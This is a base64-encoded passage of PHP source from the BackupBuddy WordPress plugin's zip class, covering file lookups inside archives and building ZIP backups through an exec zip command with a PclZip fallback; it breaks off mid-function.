CgkJCQkKCQkJfQoJCQkKCQkJLy8gV2UgY291bGRuJ3QgZ2V0IGEgY29tbWVudCBhdCBhbGwgLSBlaXRoZXIgbm8gYXZhaWxhYmxlIG1ldGhvZCBvciBhbGwgbWV0aG9kcyBmYWlsZWQKCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCBfXygnVW5hYmxlIHRvIGdldCBjb21tZW50OiBObyBjb21wYXRpYmxlIHppcCBtZXRob2QgZm91bmQuJywnaXQtbDEwbi1iYWNrdXBidWRkeScgKSApOwoJCQlyZXR1cm4gZmFsc2U7CgkJCQoJCX0gLy8gRW5kIGdldF9jb21tZW50KCkuCgkJCgkJCgkJCgkJLy8gRk9SIEZVVFVSRSBVU0U7IE5PVCBZRVQgSU1QTEVNRU5URUQuIFVzZSB0byBjaGVjayAuc3FsIGZpbGUgaXMgbm9uLWVtcHR5LgoJCWZ1bmN0aW9uIGZpbGVfc3RhdHMoICR6aXBfZmlsZSwgJGxvY2F0ZV9maWxlLCAkbGVhdmVfb3BlbiA9IGZhbHNlICkgewoJCQlpZiAoIGluX2FycmF5KCAnemlwYXJjaGl2ZScsICR0aGlzLT5femlwX21ldGhvZHMgKSApIHsKCQkJCSR0aGlzLT5femlwID0gbmV3IFppcEFyY2hpdmU7CgkJCQlpZiAoICR0aGlzLT5femlwLT5vcGVuKCAkemlwX2ZpbGUgKSA9PT0gdHJ1ZSApIHsKCQkJCQlpZiAoICggJHN0YXRzID0gJHRoaXMtPl96aXAtPnN0YXROYW1lKCAkbG9jYXRlX2ZpbGUgKSApID09PSBmYWxzZSApIHsgLy8gRmlsZSBub3QgZm91bmQgaW4gemlwLgoJCQkJCQkkdGhpcy0+X3ppcC0+Y2xvc2UoKTsKCQkJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCBfXygnRmlsZSBub3QgZm91bmQgKHppcGFyY2hpdmUpIGZvciBzdGF0cycsJ2l0LWwxMG4tYmFja3VwYnVkZHknICkgLiAnOiAnIC4gJGxvY2F0ZV9maWxlICk7CgkJCQkJCXJldHVybiBmYWxzZTsKCQkJCQl9CgkJCQkJJHRoaXMtPl96aXAtPmNsb3NlKCk7CgkJCQkJcmV0dXJuICRzdGF0czsKCQkJCX0gZWxzZSB7CgkJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCBzcHJpbnRmKCBfXygnWmlwQXJjaGl2ZSBmYWlsZWQgdG8gb3BlbiBmaWxlIHRvIGNoZWNrIHN0YXRzIChsb29raW5nIGluICUxJHMpLicsJ2l0LWwxMG4tYmFja3VwYnVkZHknICksICR6aXBfZmlsZSApICk7CgkJCQkJCgkJCQkJcmV0dXJuIGZhbHNlOwoJCQkJfQoJCQl9CgkJCQoJCQkvLyBJZiB3ZSBtYWRlIGl0IHRoaXMgZmFyIHRoZW4gemlwYXJjaGl2ZSBub3QgYXZhaWxhYmxlL2ZhaWxlZC4KCQkJaWYgKCBpbl9hcnJheSggJ3BjbHppcCcsICR0aGlzLT5femlwX21ldGhvZHMgKSApIHsKCQkJCXJlcXVpcmVfb25jZSggQUJTUEFUSCAuICd3cC1hZG1pbi9pbmNsdWRlcy9jbGFzcy1wY2x6aXAucGhwJyApOwoJCQkJJHRoaXMtPl96aXAgPSBuZXcgUGNsWmlwKCAkemlwX2ZpbGUgKTsKCQkJCWlmICggKCAkZmlsZV9saXN0ID0gJHRoaXMtPl96aXAtPmxpc3RDb250ZW50KCkgKSA9PSAwICkgeyAvLyBJZiB6ZXJvLCB6aXAgaXMgY29ycnVwdCBvciBlbXB0eS4KCQkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICR0aGlzLT5femlwLT5lcnJvckluZm8oIHRydWUgKSApOwoJCQkJfSBlbHNlIHsKCQkJCQlmb3JlYWNoKCAkZmlsZV9saXN0IGFzICRmaWxlICkgewoJCQkJCQlpZiAoICRmaWxlWydmaWxlbmFtZSddID09ICRsb2NhdGVfZmlsZSApIHsgLy8gRm91bmQgZmlsZS4KCQkJCQkJCXJldHVybiB0cnVlOwoJCQkJCQl9CgkJCQkJfQoJCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgX18oJ0ZpbGUgbm90IGZvdW5kIChwY2x6aXApJywnaXQtbDEwbi1iYWNrdXBidWRkeScgKSAuICc6ICcgLiAkbG9jYXRlX2ZpbGUgKTsKCQkJCQlyZXR1cm4gZmFsc2U7CgkJCQl9CgkJCX0gZWxzZSB7CgkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsIF9fKCdVbmFibGUgdG8gY2hlY2sgaWYgZmlsZSBleGlzdHM6IE5vIGNvbXBhdGlibGUgemlwIG1ldGhvZCBmb3VuZC4nLCdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApICk7CgkJCQlyZXR1cm4gZmFsc2U7CgkJCX0KCQl9CgkJCgkJCgkJCgkJLyoJZ2V0X3ppcF9tZXRob2RzKCkKCQkgKgkKCQkgKglHZXQgYW4gYXJyYXkgb2YgdGhlIHppcCBtZXRob2RzLiBVc2VmdWwgZm9yIHRyYW5zaWVudCBjYWNoaW5nIGZvciBjb25zdHJ1Y3Rvci4KCQkgKgkKCQkgKglAcmV0dXJuCQlhcnJheQkJQXJyYXkgb2YgbWV0aG9kcy4KCQkgKi8KCQlwdWJsaWMgZnVuY3Rpb24gZ2V0X3ppcF9tZXRob2RzKCkgewoJCQkkdGhpcy0+X3ppcF9tZXRob2RzOwoJCX0gLy8gRW5kIGdldF96aXBfbWV0aG9kcygpOwoJCQoJCQoJCQoJCS8qKgoJCSAqCWFkZF9kaXJlY3RvcnlfdG9femlwKCkKCQkgKgoJCSAqCUFkZHMgYSBkaXJlY3RvcnkgdG8gYSBuZXcgb3IgZXhpc3RpbmcgKFRPRE86IG5vdCB5ZXQgYXZhaWxhYmxlKSBaSVAgZmlsZS4KCQkgKgoJCSAqCSR6aXBfZmlsZQkJCQkJc3RyaW5nCQkJCQkJRnVsbCBwYXRoICYgZmlsZW5hbWUgb2YgWklQIGZpbGUgdG8gY3JlYXRlLgoJCSAqCSRhZGRfZGlyZWN0b3J5CQkJCXN0cmluZwkJCQkJCUZ1bGwgZGlyZWN0b3J5IHRvIGFkZCB0byB6aXAgZmlsZS4KCQkgKgkkY29tcHJlc3Npb24JCQkJYm9vbGVhbgkJCQkJCVRydWUgdG8gZW5hYmxlIFpJUCBjb21wcmVzc2lvbiwKCQkgKgkJCQkJCQkJCQkJCQkJCShpZiBwb3NzaWJsZSB3aXRoIGF2YWlsYWJsZSB6aXAgbWV0aG9kcykKCQkgKgkkZXhjbHVkZXMJCQkJCWFycmF5KHN0cmluZ3MpCQkJCUFycmF5IG9mIHN0cmluZ3Mgb2YgcGF0aHMvZmlsZXMgdG8gZXhjbHVkZSBmcm9tIHppcHBpbmcsCgkJICoJCQkJCQkJCQkJCQkJCQkoaWYgcG9zc2libGUgd2l0aCBhdmFpbGFibGUgemlwIG1ldGhvZHMpLgoJCSAqCSR0ZW1wb3JhcnlfemlwX2RpcmVjdG9yeQlzdHJpbmcJCQkJCQlPcHRpb25hbC4gRnVsbCBkaXJlY3RvcnkgcGF0aCB0byBkaXJlY3RvcnkgdG8gdGVtcG9yYXJpbHkgcGxhY2UgWklQCgkJICoJCQkJCQkJCQkJCQkJCQlmaWxlIHdoaWxlIGNyZWF0aW5nLiBVc2VzIHNhbWUgZGlyZWN0b3J5IGlmIG9taXR0ZWQuCgkJICoJJGZvcmNlX2NvbXBhdGliaWxpdHlfbW9kZQlib29sZWFuCQkJCQkJVHJ1ZTogb25seSB1c2UgUENMWmlwLiBGYWxzZTogdHJ5IGV4ZWMgZmlyc3QgaWYgYXZhaWxhYmxlLAoJCSAqCQkJCQkJCQkJCQkJCQkJYW5kIGZhbGxiYWNrIHRvIGxlc3NlciBtZXRob2RzIGFzIHJlcXVpcmVkLgoJCSAqCgkJICoJQHJldHVybgkJCQkJCQkJCQkJCQl0cnVlIG9uIHN1Y2Nlc3MsIGZhbHNlIG90aGVyd2lzZQoJCSAqCgkJICovCgkJZnVuY3Rpb24gYWRkX2RpcmVjdG9yeV90b196aXAoICR6aXBfZmlsZSwgJGFkZF9kaXJlY3RvcnksICRjb21wcmVzc2lvbiwgJGV4Y2x1ZGVzID0gYXJyYXkoKSwgJHRlbXBvcmFyeV96aXBfZGlyZWN0b3J5ID0gJycsICRmb3JjZV9jb21wYXRpYmlsaXR5X21vZGUgPSBmYWxzZSApIHsKCQkJaWYgKCAkZm9yY2VfY29tcGF0aWJpbGl0eV9tb2RlID09PSB0cnVlICkgewoJCQkJJHppcF9tZXRob2RzID0gYXJyYXkoICdwY2x6aXAnICk7CgkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnbWVzc2FnZScsIF9fKCdGb3JjZWQgY29tcGF0aWJpbGl0eSBtb2RlIChQQ0xaaXApIGJhc2VkIG9uIHNldHRpbmdzLiBUaGlzIGlzIHNsb3dlciBhbmQgbGVzcyByZWxpYWJsZS4nLCdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApICk7CgkJCX0gZWxzZSB7CgkJCQkkemlwX21ldGhvZHMgPSAkdGhpcy0+X3ppcF9tZXRob2RzOwoJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCBfXygnVXNpbmcgYWxsIGF2YWlsYWJsZSB6aXAgbWV0aG9kcyBpbiBwcmVmZXJyZWQgb3JkZXIuJywnaXQtbDEwbi1iYWNrdXBidWRkeScgKSApOwoJCQl9CgkJCQoJCQkkYXBwZW5kID0gZmFsc2U7IC8vIFBvc3NpYmxlIGZ1dHVyZSBvcHRpb24gdG8gYWxsb3cgYXBwZW5kaW5nIGlmIGZpbGUgZXhpc3RzLgoJCQkKCQkJLy8gTm9ybWFsaXplICR0ZW1wb3JhcnlfemlwX2RpcmVjdG9yeSB0byBmb3JtYXQ6IC94eHgveXl5L3p6ei8uCgkJCSR0ZW1wb3JhcnlfemlwX2RpcmVjdG9yeSA9IHJ0cmltKCAkdGVtcG9yYXJ5X3ppcF9kaXJlY3RvcnksICcvXFwnICkgLiAnLyc7CgkJCQoJCQlpZiAoICFlbXB0eSggJHRlbXBvcmFyeV96aXBfZGlyZWN0b3J5ICkgKSB7CgkJCQlpZiAoICFmaWxlX2V4aXN0cyggJHRlbXBvcmFyeV96aXBfZGlyZWN0b3J5ICkgKSB7IC8vIENyZWF0ZSB0ZW1wIGRpciBpZiBpdCBkb2VzIG5vdCBleGlzdC4KCQkJCQlta2RpciggJHRlbXBvcmFyeV96aXBfZGlyZWN0b3J5ICk7CgkJCQl9CgkJCX0KCQkJCgkJCWlmICggaXNfYXJyYXkoICRleGNsdWRlcyApICkgewoJCQkJJGV4Y2x1ZGVzX3RleHQgPSBpbXBsb2RlKCAnLCcsICRleGNsdWRlcyApOwoJCQl9IGVsc2UgewoJCQkJJGV4Y2x1ZGVzX3RleHQgPSAnKGluIGZpbGU6IGAnIC4gJGV4Y2x1ZGVzIC4gJ2ApJzsKCQkJfQoJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsIF9fKCdDcmVhdGluZyBaSVAgZmlsZScsJ2l0LWwxMG4tYmFja3VwYnVkZHknICkgLiAnIGAnIC4gJHppcF9maWxlIC4gJ2AuICcgLiBfXygnQWRkaW5nIGRpcmVjdG9yeScsJ2l0LWwxMG4tYmFja3VwYnVkZHknICkgLiAnIGAnIC4gJGFkZF9kaXJlY3RvcnkgLiAnYC4gJyAuIF9fKCdDb21wcmVzc2lvbicsJ2l0LWwxMG4tYmFja3VwYnVkZHknICkgLiAnOiAnIC4gJGNvbXByZXNzaW9uIC4gJzsgJyAuIF9fKCdFeGNsdWRlcycsJ2l0LWwxMG4tYmFja3VwYnVkZHknICkgLiAnOiAnIC4gJGV4Y2x1ZGVzX3RleHQgKTsKCQkJdW5zZXQoICRleGNsdWRlc190ZXh0ICk7CgkJCQoJCQlpZiAoIGluX2FycmF5KCAnZXhlYycsICR6aXBfbWV0aG9kcyApICkgewoJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCBfXygnVXNpbmcgZXhlYygpIG1ldGhvZCBmb3IgWklQLicsJ2l0LWwxMG4tYmFja3VwYnVkZHknICkgKTsKCQkJCQoJCQkJJGNvbW1hbmQgPSAnemlwIC1xIC1yJzsKCQkJCQoJCQkJaWYgKCAkY29tcHJlc3Npb24gIT09IHRydWUgKSB7CgkJCQkJJGNvbW1hbmQgLj0gJyAtMCc7CgkJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCBfXygnRXhlYyBjb21wcmVzc2lvbiBkaXNhYmxlZCBiYXNlZCBvbiBzZXR0aW5ncy4nLCdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApICk7CgkJCQl9CgkJCQlpZiAoIGZpbGVfZXhpc3RzKCAkemlwX2ZpbGUgKSApIHsKCQkJCQlpZiAoICRhcHBlbmQgPT09IHRydWUgKSB7CgkJCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgX18oJ1pJUCBmaWxlIGV4aXN0cy4gQXBwZW5kaW5nIGJhc2VkIG9uIG9wdGlvbnMuJywnaXQtbDEwbi1iYWNrdXBidWRkeScgKSApOwoJCQkJCQkkY29tbWFuZCAuPSAnIC1nJzsKCQkJCQl9IGVsc2UgewoJCQkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsIF9fKCdaSVAgZmlsZSBleGlzdHMuIERlbGV0aW5nICYgd3JpdGluZyBiYXNlZCBvbiBvcHRpb25zLicsJ2l0LWwxMG4tYmFja3VwYnVkZHknICkgKTsKCQkJCQkJdW5saW5rKCAkemlwX2ZpbGUgKTsKCQkJCQl9CgkJCQl9CgkJCQkKCQkJCS8vJGNvbW1hbmQgLj0gIiAtciI7CgkJCQkKCQkJCS8vIFNldCB0ZW1wb3JhcnkgZGlyZWN0b3J5IHRvIHN0b3JlIFpJUCB3aGlsZSBpdCdzIGJlaW5nIGdlbmVyYXRlZC4KCQkJCWlmICggIWVtcHR5KCAkdGVtcG9yYXJ5X3ppcF9kaXJlY3RvcnkgKSApIHsKCQkJCQkkY29tbWFuZCAuPSAiIC1iICd7JHRlbXBvcmFyeV96aXBfZGlyZWN0b3J5fSciOwoJCQkJfQoJCQkJCgkJCQkkY29tbWFuZCAuPSAiICd7JHppcF9maWxlfScgLiI7CgkJCQkvLyAtaSAnKiciOyAvLyBOb3QgbmVlZGVkLiBaaXAgZGVmYXVsdHMgdG8gZG9pbmcgdGhpcy4gUmVtb3ZlZCBKdWx5IDEwLCAyMDEyIGZvciB2My4wLjQxLgoJCQkJCgkJCQkJCQkJCgkJCQkvLyBIYW5kbGUgZXhjbHVzaW9ucyBieSBwbGFjaW5nIHRoZW0gaW4gYW4gZXhjbHVzaW9uIHRleHQgZmlsZS4KCQkJCSRleGNsdXNpb25fZmlsZSA9ICR0ZW1wb3JhcnlfemlwX2RpcmVjdG9yeSAuICdleGNsdXNpb25zLnR4dCc7CgkJCQkkdGhpcy0+X3JlbmRlcl9leGNsdXNpb25zX2ZpbGUoICRleGNsdXNpb25fZmlsZSwgJGV4Y2x1ZGVzLCAkYWRkX2RpcmVjdG9yeSApOwoJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnVXNpbmcgZXhjbHVzaW9uIGZpbGUgYCcgLiAkZXhjbHVzaW9uX2ZpbGUgLiAnYC4nICk7CgkJCQkkY29tbWFuZCAuPSAnIC14QCcgLiAiJ3skZXhjbHVzaW9uX2ZpbGV9JyI7CgkJCQkKCQkJCQoJCQkJJGNvbW1hbmQgLj0gJyAyPiYxJzsgLy8gIDI+JjEgcmVkaXJlY3RzIFNUREVSUiB0byBTVERPVVQKCQkJCQoJCQkJJHdvcmtpbmdfZGlyID0gZ2V0Y3dkKCk7CgkJCQljaGRpciggJGFkZF9kaXJlY3RvcnkgKTsgLy8gQ2hhbmdlIGRpcmVjdG9yeSB0byB0aGUgcGF0aCB3ZSBhcmUgYWRkaW5nLgoJCQkJCgkJCQlpZiAoICR0aGlzLT5fZXhlY3BhdGggIT0gJycgKSB7CgkJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCBfXyggJ1VzaW5nIGN1c3RvbSBleGVjKCkgcGF0aDogJywgJ2l0LWwxMG4tYmFja3VwYnVkZHknICkgLiAkdGhpcy0+X2V4ZWNwYXRoICk7CgkJCQl9CgkJCQkKCQkJCS8vIFJ1biBaSVAgY29tbWFuZC4KCQkJCWlmICggc3RyaXN0ciggUEhQX09TLCAnV0lOJyApICYmICFzdHJpc3RyKCBQSFBfT1MsICdEQVJXSU4nICkgKSB7IC8vIFJ1bm5pbmcgV2luZG93cy4gKG5vdCBkYXJ3aW4pCgkJCQkJaWYgKCBmaWxlX2V4aXN0cyggQUJTUEFUSCAuICd6aXAuZXhlJyApICkgewoJCQkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnbWVzc2FnZScsIF9fKCdBdHRlbXB0aW5nIHRvIHVzZSBwcm92aWRlZCBXaW5kb3dzIHppcC5leGUuJywnaXQtbDEwbi1iYWNrdXBidWRkeScgKSApOwoJCQkJCQkkY29tbWFuZCA9IHN0cl9yZXBsYWNlKCAnXCcnLCAnIicsICRjb21tYW5kICk7IC8vIFdpbmRvd3Mgd2FudHMgZG91YmxlIHF1b3RlcwoJCQkJCQkkY29tbWFuZCA9IEFCU1BBVEggLiAkY29tbWFuZDsKCQkJCQl9CgkJCQkJCgkJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCBfXygnRXhlYyBjb21tYW5kIChXaW5kb3dzKScsJ2l0LWwxMG4tYmFja3VwYnVkZHknICkgLiAnOiAnIC4gJGNvbW1hbmQgKTsKCQkJCQlsaXN0KCAkZXhlY19vdXRwdXQsICRleGVjX2V4aXRfY29kZSApID0gJHRoaXMtPl9jb21tYW5kYnVkZHktPmV4ZWN1dGUoICR0aGlzLT5fZXhlY3BhdGggLiAkY29tbWFuZCApOwoJCQkJfSBlbHNlIHsgLy8gQWxsb3cgZXhlYyB3YXJuaW5ncyBub3QgaW4gV2luZG93cwoJCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgX18oJ0V4ZWMgY29tbWFuZCAoTGludXgpJywnaXQtbDEwbi1iYWNrdXBidWRkeScgKSAuICc6ICcgLiAkY29tbWFuZCApOwoJCQkJCWxpc3QoICRleGVjX291dHB1dCwgJGV4ZWNfZXhpdF9jb2RlICkgPSAkdGhpcy0+X2NvbW1hbmRidWRkeS0+ZXhlY3V0ZSggJHRoaXMtPl9leGVjcGF0aCAuICRjb21tYW5kICk7CgkJCQl9CgkJCQkKCQkJCQoJCQkJLy8gQ2xlYW51cCBleGNsdXNpb25zIGZpbGUgaWYgaXQgZXhpc3RzLgoJCQkJaWYgKCBmaWxlX2V4aXN0cyggJHRlbXBvcmFyeV96aXBfZGlyZWN0b3J5IC4gJ2V4Y2x1c2lvbnMudHh0JyApICkgewoJCQkJCUB1bmxpbmsoICR0ZW1wb3JhcnlfemlwX2RpcmVjdG9yeSAuICdleGNsdXNpb25zLnR4dCcgKTsKCQkJCX0KCQkJCQoJCQkJCgkJCQlzbGVlcCggMSApOwoJCQkJCgkJCQkvLyBXZSBtYXkgbm90IGhhdmUgYSB6aXAgZmlsZSBvciB3ZSBtYXkgaGF2ZSBvbmUgYnV0IHRoZXJlIHdhcyBlcnJvci93YXJuaW5nIHdoZW4gcHJvZHVjaW5nIGl0CgkJCQkvLyBOb3RlOiBJbiBldmVudCBvZiB3YXJuaW5ncyB3ZSBjb3VsZCBzdGlsbCBnZXQgYSB6aXAgZmlsZSBpZiB0aGUgc2NyaXB0IHRlcm1pbmF0ZXMgd2hpbHN0IHppcCBjb21tYW5kIHN0aWxsIHJ1bm5pbmcKCQkJCQoJCQkJaWYgKCAoICEgZmlsZV9leGlzdHMoICR6aXBfZmlsZSApICkgfHwgKCAkZXhlY19leGl0X2NvZGUgIT0gMCApICkgewoJCQkJCQoJCQkJCS8vIExvZyB0aGUgZmFpbHVyZQoJCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdtZXNzYWdlJywgX18oICdGdWxsIHNwZWVkIG1vZGUgZGlkIG5vdCBjb21wbGV0ZS4gVHJ5aW5nIGNvbXBhdGliaWxpdHkgbW9kZSBuZXh0LicsJ2l0LWwxMG4tYmFja3VwYnVkZHknICkgKTsKCQkJCQkKCQkJCQkvLyBDaGVjayB3aGV0aGVyIGEgemlwIGZpbGUgd2FzIGFjdHVhbGx5IHByb2R1Y2VkIGluIHRoZSBiYWNrdXBzIGRpcmVjdG9yeSAoYXMgb3Bwb3NlZCB0byB0aGUgdGVtcCB6aXAgZGlyZWN0b3J5KQoJCQkJCWlmICggISBmaWxlX2V4aXN0cyggJHppcF9maWxlICkgKSB7CgkJCQkJCgkJCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgX18oICdFeGVjIGNvbW1hbmQgcmFuIGJ1dCBaSVAgZmlsZSBkaWQgbm90IGV4aXN0LicsJ2l0LWwxMG4tYmFja3VwYnVkZHknICkgKTsKCQkJCQkJCgkJCQkJfQoJCQkJCQoJCQkJCS8vIFdlIGRpZCBnZXQgYSB6aXAgZmlsZSBidXQgY2Fubm90IHRydWVzdCBpdCBzbyBtdXN0IGRlbGV0ZSBpdAoJCQkJCWlmICggZmlsZV9leGlzdHMoICR6aXBfZmlsZSApICkgewoJCQkJCQoJCQkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsIF9fKCAnQ2xlYW5pbmcgdXAgZGFtYWdlZCBaSVAgZmlsZS4gSXNzdWUgIzM0ODkzMjg5OTguJywnaXQtbDEwbi1iYWNrdXBidWRkeScgKSApOwoJCQkJCQl1bmxpbmsoICR6aXBfZmlsZSApOwoJCQkJCQkKCQkJCQl9CgkJCQkJCgkJCQkJLy8gTmVlZCB0byBjbGVhbiB1cCBhbnkgdGVtcG9yYXJ5IHppcCBkaXJlY3RvcnkKCQkJCQlpZiAoIGZpbGVfZXhpc3RzKCAkdGVtcG9yYXJ5X3ppcF9kaXJlY3RvcnkgKSApIHsKCQkJCQkKCQkJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCBfXyggJ0NsZWFuaW5nIHVwIGluY29tcGxldGUgdGVtcG9yYXJ5IFpJUCBmaWxlLiBJc3N1ZSAjMzQzODk0LicsJ2l0LWwxMG4tYmFja3VwYnVkZHknICkgKTsKCQkJCQkJaWYgKCAhKCAkdGhpcy0+ZGVsZXRlX2RpcmVjdG9yeV9yZWN1cnNpdmUoICR0ZW1wb3JhcnlfemlwX2RpcmVjdG9yeSApICkgKSB7CgkJCQkJCQoJCQkJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCBfXyggJ1VuYWJsZSB0byBkZWxldGUgdGVtcG9yYXJ5IHppcCBkaXJlY3RvcnknLCdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApICk7CgkJCQkJCQoJCQkJCQl9CgkJCQkJCQoJCQkJCX0KCQkJCQkKCQkJCX0gZWxzZSB7CgkJCQkKCQkJCQkvLyBXZSBnb3QgYSB6aXAgZmlsZSBhbmQgbm8gZXJyb3JzL3dhcm5pbmdzIHNvIGdvb2QgdG8gZ28KCQkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnbWVzc2FnZScsIF9fKCAnRnVsbCBzcGVlZCBtb2RlIGNvbXBsZXRlZCAmIGdlbmVyYXRlZCBaSVAgZmlsZS4nLCdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApICk7CgkJCQkJaWYgKCAhKCAkdGhpcy0+ZGVsZXRlX2RpcmVjdG9yeV9yZWN1cnNpdmUoICR0ZW1wb3JhcnlfemlwX2RpcmVjdG9yeSApICkgKSB7CgkJCQkJCgkJCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgX18oICdVbmFibGUgdG8gZGVsZXRlIHRlbXBvcmFyeSB6aXAgZGlyZWN0b3J5JywnaXQtbDEwbi1iYWNrdXBidWRkeScgKSApOwoJCQkJCQoJCQkJCX0KCQkJCQkKCQkJCQlyZXR1cm4gdHJ1ZTsKCQkJCQkKCQkJCX0KCQkJCQoJCQkJY2hkaXIoICR3b3JraW5nX2RpciApOwoJCQkJCgkJCQl1bnNldCggJGNvbW1hbmQgKTsKCQkJCXVuc2V0KCAkZXhjbHVkZSApOwoJCQkJdW5zZXQoICRleGNsdWRpbmdfYWRkaXRpb25hbCApOwoJCQkJCgkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsIF9fKCdFeGVjIGNvbW1hbmQgZGlkIG5vdCBzdWNjZWVkLiBGYWxsaW5nIGJhY2suJywnaXQtbDEwbi1iYWNrdXBidWRkeScgKSApOwoJCQkJCgkJCX0KCQkJCgkJCWlmICggaW5fYXJyYXkoICdwY2x6aXAnLCAkemlwX21ldGhvZHMgKSApIHsKCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdtZXNzYWdlJywgX18oJ1VzaW5nIENvbXBhdGliaWxpdHkgTW9kZSBmb3IgWklQLiBUaGlzIGlzIHNsb3dlciBhbmQgbGVzcyByZWxpYWJsZS4nLCdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApICk7CgkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnbWVzc2FnZScsIF9fKCdJZiB5b3VyIGJhY2t1cCB0aW1lcyBvdXQgaW4gY29tcGF0aWJpbGl0eSBtb2RlIHRyeSBkaXNhYmxlZCB6aXAgY29tcHJlc3Npb24uJywnaXQtbDEwbi1iYWNrdXBidWRkeScgKSApOwoJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ21lc3NhZ2UnLCBfXygnV0FSTklORzogRGlyZWN0b3J5L2ZpbGUgZXhjbHVzaW9uIHVuYXZhaWxhYmxlIGluIENvbXBhdGliaWxpdHkgTW9kZS4gRXZlbiBleGlzdGluZyBvbGQgYmFja3VwcyB3aWxsIGJlIGJhY2tlZCB1cC4nLCdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApICk7CgkJCQkKCQkJCXJlcXVpcmVfb25jZSggQUJTUEFUSCAuICd3cC1hZG1pbi9pbmNsdWRlcy9jbGFzcy1wY2x6aXAucGhwJyApOwoJCQkJCgkJCQkvLyBEZXRlcm1pbmUgemlwIGZpbGUgbmFtZSAvIHBhdGguCgkJCQlpZiAoICFlbXB0eSggJHRlbXBvcmFyeV96aXBfZGlyZWN0b3J5ICkgKSB7CgkJCQkJJHBjbHppcF9maWxlID0gJHRlbXBvcmFyeV96aXBfZGlyZWN0b3J5IC4gYmFzZW5hbWUoICR6aXBfZmlsZSApOwoJCQkJfSBlbHNlIHsKCQkJCQkkcGNsemlwX2ZpbGUgPSAkemlwX2ZpbGU7CgkJCQl9CgkJCQkKCQkJCWlmICggIWZpbGVfZXhpc3RzKCBkaXJuYW1lKCAkcGNsemlwX2ZpbGUgKSApICkgewoJCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJ0NyZWF0aW5nIFBDTFppcCBmaWxlIGRpcmVjdG9yeSBgJyAuIGRpcm5hbWUoICRwY2x6aXBfZmlsZSApIC4gJ2AuJyApOwoJCQkJCW1rZGlyKCBkaXJuYW1lKCAkcGNsemlwX2ZpbGUgKSApOwoJCQkJfQoJCQkJCgkJCQkvLyBJbnN0YW50aWF0ZSBQY2xaaXAgT2JqZWN0LgoJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnUGNsWmlwIHppcCBmaWxlbmFtZTogYCcgLiAkcGNsemlwX2ZpbGUgLiAnYC4nICk7CgkJCQkkcGNsemlwID0gbmV3IFBjbFppcCggJHBjbHppcF9maWxlICk7CgkJCQkKCQkJCWlmICggJGNvbXByZXNzaW9uICE9PSB0cnVlICkgewoJCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgX18oJ1BDTFppcCBjb21wcmVzc2lvbiBkaXNhYmxlZCBiYXNlZCBvbiBzZXR0aW5ncy4nLCdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApICk7CgkJCQkJJGFyZ3VtZW50cyA9IGFycmF5KCAkYWRkX2RpcmVjdG9yeSwgUENMWklQX09QVF9OT19DT01QUkVTU0lPTiwgUENMWklQX09QVF9SRU1PVkVfUEFUSCwgJGFkZF9kaXJlY3RvcnkgKTsKCQkJCX0gZWxzZSB7CgkJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCBfXygnUENMWmlwIGNvbXByZXNzaW9uIGVuYWJsZWQgYmFzZWQgb24gc2V0dGluZ3MuJywnaXQtbDEwbi1iYWNrdXBidWRkeScgKSApOwoJCQkJCSRhcmd1bWVudHMgPSBhcnJheSggJGFkZF9kaXJlY3RvcnksIFBDTFpJUF9PUFRfUkVNT1ZFX1BBVEgsICRhZGRfZGlyZWN0b3J5ICk7CgkJCQl9CgkJCQkKCQkJCSRtb2RlID0gJ2NyZWF0ZSc